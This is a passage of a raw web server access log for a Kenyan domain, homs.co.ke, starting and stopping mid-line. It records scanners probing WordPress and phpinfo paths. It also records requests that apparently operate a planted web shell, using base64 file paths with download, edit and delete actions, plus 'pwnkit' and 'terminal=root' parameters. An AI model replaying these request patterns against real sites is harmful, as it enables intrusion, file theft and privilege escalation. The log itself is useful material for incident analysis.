HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:38:31 -0700] "GET /acp.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:38:32 -0700] "GET /database.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 182.44.2.148 - - [06/Mar/2026:19:41:05 -0700] "GET / HTTP/1.1" 200 57649 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" homs.co.ke 10.38.197.90 40.77.167.46 - - [06/Mar/2026:20:07:27 -0700] "GET /?n=5957370021440&mod=ef94ece3&uri=category-info.php%3Fid%3D199464-385%26name%3Dbota+caramelo+bota+salto+fino+baixo+cano+curto HTTP/1.1" 409 83 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" homs.co.ke 10.38.197.90 169.150.203.237 - - [06/Mar/2026:20:07:44 -0700] "GET / HTTP/1.1" 200 390144 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" mail.homs.co.ke 10.38.197.90 169.150.203.237 - - [06/Mar/2026:20:07:44 -0700] "GET / HTTP/1.1" 200 390144 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" mail.homs.co.ke 10.38.197.90 169.150.203.237 - - [06/Mar/2026:20:07:44 -0700] "GET /wp-includes/wlwmanifest.xml HTTP/1.1" 406 226 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" mail.homs.co.ke 10.38.197.90 169.150.203.237 - - [06/Mar/2026:20:07:44 -0700] "GET /xmlrpc.php?rsd HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" mail.homs.co.ke 10.38.197.90 169.150.203.237 - - [06/Mar/2026:20:07:44 -0700] "GET / HTTP/1.1" 200 390144 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" mail.homs.co.ke 10.38.197.90 169.150.203.237 - - [06/Mar/2026:20:07:44 -0700] "GET /blog/wp-includes/wlwmanifest.xml HTTP/1.1" 406 226 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" mail.homs.co.ke 10.38.197.90 169.150.203.237 - - [06/Mar/2026:20:07:44 -0700] "GET /web/wp-includes/wlwmanifest.xml HTTP/1.1" 406 226 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" mail.homs.co.ke 10.38.197.90 169.150.203.237 - - [06/Mar/2026:20:07:44 -0700] "GET /wordpress/wp-includes/wlwmanifest.xml HTTP/1.1" 406 226 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" mail.homs.co.ke 10.38.197.90 169.150.203.237 - - [06/Mar/2026:20:07:44 -0700] "GET /wp/wp-includes/wlwmanifest.xml HTTP/1.1" 406 226 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" mail.homs.co.ke 10.38.197.90 169.150.203.237 - - [06/Mar/2026:20:07:44 -0700] "GET /news/wp-includes/wlwmanifest.xml HTTP/1.1" 406 226 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" mail.homs.co.ke 10.38.197.90 169.150.203.237 - - [06/Mar/2026:20:07:44 -0700] "GET /2018/wp-includes/wlwmanifest.xml HTTP/1.1" 406 226 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" mail.homs.co.ke 10.38.197.90 169.150.203.237 - - [06/Mar/2026:20:07:44 -0700] "GET /shop/wp-includes/wlwmanifest.xml HTTP/1.1" 406 226 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" mail.homs.co.ke 10.38.197.90 169.150.203.237 - - [06/Mar/2026:20:07:44 -0700] "GET /wp1/wp-includes/wlwmanifest.xml HTTP/1.1" 406 226 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" mail.homs.co.ke 10.38.197.90 169.150.203.237 - - [06/Mar/2026:20:07:44 -0700] "GET /test/wp-includes/wlwmanifest.xml HTTP/1.1" 406 226 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" mail.homs.co.ke 10.38.197.90 169.150.203.237 - - [06/Mar/2026:20:07:44 -0700] "GET /media/wp-includes/wlwmanifest.xml HTTP/1.1" 406 226 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" mail.homs.co.ke 10.38.197.90 169.150.203.237 - - [06/Mar/2026:20:07:44 -0700] "GET /wp2/wp-includes/wlwmanifest.xml HTTP/1.1" 406 226 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" mail.homs.co.ke 10.38.197.90 169.150.203.237 - - [06/Mar/2026:20:07:44 -0700] "GET /site/wp-includes/wlwmanifest.xml HTTP/1.1" 406 226 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" mail.homs.co.ke 10.38.197.90 169.150.203.237 - - [06/Mar/2026:20:07:45 -0700] "GET /cms/wp-includes/wlwmanifest.xml HTTP/1.1" 406 226 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" mail.homs.co.ke 10.38.197.90 169.150.203.237 - - [06/Mar/2026:20:07:45 -0700] "GET /sito/wp-includes/wlwmanifest.xml HTTP/1.1" 406 226 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.173.187 - - [06/Mar/2026:20:09:00 -0700] "GET /?act=download&file=block-template-utils.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.179.188 - - [06/Mar/2026:20:09:00 -0700] "GET /?act=download&file=shortcodes.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.175.168 - - [06/Mar/2026:20:09:01 -0700] "GET /?act=download&file=block-template-utils.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://www.homs.co.ke/?act=download&file=block-template-utils.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.169.153 - - [06/Mar/2026:20:09:02 -0700] "GET /?act=download&file=class.wp-dependencies.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.3" www.homs.co.ke 10.38.197.90 43.173.182.74 - - [06/Mar/2026:20:09:59 -0700] "GET /?act=download&file=class-IXR-error.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL0lYUg== HTTP/1.1" 200 4175 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.182.16 - - [06/Mar/2026:20:09:59 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=block-template.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.169.17 - - [06/Mar/2026:20:09:59 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1NpbXBsZVBpZS9saWJyYXJ5 HTTP/1.1" 200 4828 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.175.156 - - [06/Mar/2026:20:09:59 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=session.php HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.180.40 - - [06/Mar/2026:20:09:59 -0700] "GET /?act=download&file=comment-template.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.172.23 - - [06/Mar/2026:20:09:59 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-block-bindings-source.php HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.175.60 - - [06/Mar/2026:20:10:00 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-network.php HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.178.190 - - [06/Mar/2026:20:10:00 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=block-template.php HTTP/1.1" 200 4021 "http://www.homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=block-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 185.177.72.49 - - [06/Mar/2026:20:15:14 -0700] "GET / HTTP/1.1" 200 57649 "-" "curl/8.7.1" mail.homs.co.ke 10.38.197.90 185.177.72.49 - - [06/Mar/2026:20:15:15 -0700] "GET / HTTP/1.1" 200 57649 "-" "curl/8.7.1" www.homs.co.ke 10.38.197.90 185.177.72.49 - - [06/Mar/2026:20:15:15 -0700] "GET /info.php.bak HTTP/1.1" 409 83 "-" "curl/8.7.1" mail.homs.co.ke 10.38.197.90 185.177.72.49 - - [06/Mar/2026:20:15:15 -0700] "GET /info.php.bak HTTP/1.1" 409 83 "-" "curl/8.7.1" www.homs.co.ke 10.38.197.90 185.177.72.49 - - [06/Mar/2026:20:15:15 -0700] "GET /php-info.php HTTP/1.1" 409 83 "-" "curl/8.7.1" mail.homs.co.ke 10.38.197.90 185.177.72.49 - - [06/Mar/2026:20:15:15 -0700] "GET /php-info.php HTTP/1.1" 409 83 "-" "curl/8.7.1" www.homs.co.ke 10.38.197.90 185.177.72.49 - - [06/Mar/2026:20:15:16 -0700] "GET /newinfo.php HTTP/1.1" 409 83 "-" "curl/8.7.1" mail.homs.co.ke 10.38.197.90 185.177.72.49 - - [06/Mar/2026:20:15:16 -0700] "GET /newinfo.php HTTP/1.1" 409 83 "-" "curl/8.7.1" www.homs.co.ke 10.38.197.90 185.177.72.49 - - [06/Mar/2026:20:15:16 -0700] "GET /siteinfo.php HTTP/1.1" 409 83 "-" "curl/8.7.1" mail.homs.co.ke 10.38.197.90 185.177.72.49 - - [06/Mar/2026:20:15:16 -0700] "GET /siteinfo.php HTTP/1.1" 409 83 "-" "curl/8.7.1" www.homs.co.ke 10.38.197.90 185.177.72.49 - - [06/Mar/2026:20:15:16 -0700] "GET /info.php.1 HTTP/1.1" 409 83 "-" "curl/8.7.1" mail.homs.co.ke 10.38.197.90 185.177.72.49 - - [06/Mar/2026:20:15:16 -0700] "GET /info.php.1 HTTP/1.1" 409 83 "-" "curl/8.7.1" www.homs.co.ke 10.38.197.90 185.177.72.49 - - [06/Mar/2026:20:15:17 -0700] "GET /admin/phpinfo.php HTTP/1.1" 409 83 "-" "curl/8.7.1" mail.homs.co.ke 10.38.197.90 185.177.72.49 - - [06/Mar/2026:20:15:17 -0700] "GET /admin/phpinfo.php HTTP/1.1" 409 83 "-" "curl/8.7.1" www.homs.co.ke 10.38.197.90 185.177.72.49 - - [06/Mar/2026:20:15:17 -0700] "GET /pageinfo.php HTTP/1.1" 409 83 "-" "curl/8.7.1" mail.homs.co.ke 10.38.197.90 185.177.72.49 - - [06/Mar/2026:20:15:17 -0700] "GET /pageinfo.php HTTP/1.1" 409 83 "-" "curl/8.7.1" www.homs.co.ke 10.38.197.90 185.177.72.49 - - [06/Mar/2026:20:15:17 -0700] "GET /info.php.back HTTP/1.1" 409 83 "-" "curl/8.7.1" mail.homs.co.ke 10.38.197.90 185.177.72.49 - - [06/Mar/2026:20:15:17 -0700] "GET /info.php.back HTTP/1.1" 409 83 "-" "curl/8.7.1" www.homs.co.ke 10.38.197.90 185.177.72.49 - - [06/Mar/2026:20:15:17 -0700] "GET /phpbb/phpinfo.php HTTP/1.1" 409 83 "-" "curl/8.7.1" mail.homs.co.ke 10.38.197.90 185.177.72.49 - - [06/Mar/2026:20:15:18 -0700] "GET /phpbb/phpinfo.php HTTP/1.1" 409 83 "-" "curl/8.7.1" www.homs.co.ke 10.38.197.90 43.155.157.239 - - [06/Mar/2026:20:17:11 -0700] "GET / HTTP/1.1" 200 57649 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 49.51.243.156 - - [06/Mar/2026:20:32:07 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=block-bindings.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 43.156.204.134 - - [06/Mar/2026:20:40:39 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2NrLWJpbmRpbmdz HTTP/1.1" 200 4639 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 49.51.196.42 - - [06/Mar/2026:20:52:29 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&del=sodium_compat HTTP/1.1" 200 57649 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 49.51.183.15 - - [06/Mar/2026:21:01:26 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=author-template.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 5.175.189.34 - - [06/Mar/2026:21:10:53 -0700] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" homs.co.ke 10.38.197.90 43.173.172.57 - - [06/Mar/2026:21:16:13 -0700] "GET / HTTP/1.1" 200 57649 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" homs.co.ke 10.38.197.90 43.173.169.76 - - [06/Mar/2026:21:20:10 -0700] "GET / HTTP/1.1" 200 57649 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.174.167 - - [06/Mar/2026:21:21:04 -0700] "GET / HTTP/1.1" 200 57649 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.157.142.101 - - [06/Mar/2026:21:21:04 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-http.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 66.249.93.39 - - [06/Mar/2026:21:21:39 -0700] "GET /logo/Capture.PNG HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko Firefox/11.0 (via ggpht.com GoogleImageProxy)" homs.co.ke 10.38.197.90 66.249.93.39 - - [06/Mar/2026:21:21:39 -0700] "GET /logo/unnamed.png HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko Firefox/11.0 (via ggpht.com GoogleImageProxy)" homs.co.ke 10.38.197.90 43.173.179.143 - - [06/Mar/2026:21:24:10 -0700] "GET /?del=format-library&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Nzcy9kaXN0 HTTP/1.1" 200 6963 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.179.167 - - [06/Mar/2026:21:24:10 -0700] "GET /?act=edit&file=feed.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 12991 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.177.97 - - [06/Mar/2026:21:24:10 -0700] "GET /?del=lib&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NvZGl1bV9jb21wYXQ= HTTP/1.1" 200 5510 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.179.41 - - [06/Mar/2026:21:24:10 -0700] "GET /?del=autoload-php7.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NvZGl1bV9jb21wYXQ= HTTP/1.1" 200 5510 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.174.8 - - [06/Mar/2026:21:24:10 -0700] "GET /?act=download&file=feed-atom-comments.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.3" www.homs.co.ke 10.38.197.90 43.173.179.9 - - [06/Mar/2026:21:24:10 -0700] "GET /?act=download&file=class-wp-block-parser.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.175.20 - - [06/Mar/2026:21:24:10 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-term-query.php HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.181.253 - - [06/Mar/2026:21:24:11 -0700] "GET /?act=download&file=feed-atom-comments.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://www.homs.co.ke/?act=download&file=feed-atom-comments.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.3" www.homs.co.ke 10.38.197.90 43.173.175.18 - - [06/Mar/2026:21:24:13 -0700] "GET /?act=download&file=constants.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NvZGl1bV9jb21wYXQvbGli HTTP/1.1" 200 4260 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.176.180 - - [06/Mar/2026:21:24:16 -0700] "GET /?act=edit&file=fonts.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 7572 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.178.231 - - [06/Mar/2026:21:24:17 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2pzL3RpbnltY2Uvc2tpbnM= HTTP/1.1" 200 4563 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.3" www.homs.co.ke 10.38.197.90 43.173.181.130 - - [06/Mar/2026:21:24:17 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=error_log HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.174.203 - - [06/Mar/2026:21:25:14 -0700] "GET /?action=pwnkit&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2JyZTIzOTE5 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.3" mail.homs.co.ke 10.38.197.90 43.173.182.34 - - [06/Mar/2026:21:25:14 -0700] "GET /?act=edit&file=class-wp-textdomain-registry.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.179.58 - - [06/Mar/2026:21:25:14 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3BvbW8= HTTP/1.1" 200 5376 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.179.67 - - [06/Mar/2026:21:25:14 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2JyZTIzOTE5&terminal=root HTTP/1.1" 200 5291 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.3" mail.homs.co.ke 10.38.197.90 43.173.174.143 - - [06/Mar/2026:21:25:14 -0700] "GET /?act=edit&file=class-wp-textdomain-registry.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 8126 "http://mail.homs.co.ke/?act=edit&file=class-wp-textdomain-registry.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.169.5 - - [06/Mar/2026:21:31:20 -0700] "GET /?act=download&file=class-wp-customize-section.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.180.207 - - [06/Mar/2026:21:31:20 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=comment-template.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.173.252 - - [06/Mar/2026:21:31:21 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Nzcy9kaXN0L3JldXNhYmxlLWJsb2Nrcw== HTTP/1.1" 200 5099 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.172.230 - - [06/Mar/2026:21:31:21 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3N0eWxlLWVuZ2luZQ== HTTP/1.1" 200 5490 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.3" www.homs.co.ke 10.38.197.90 43.173.174.160 - - [06/Mar/2026:21:31:21 -0700] "GET 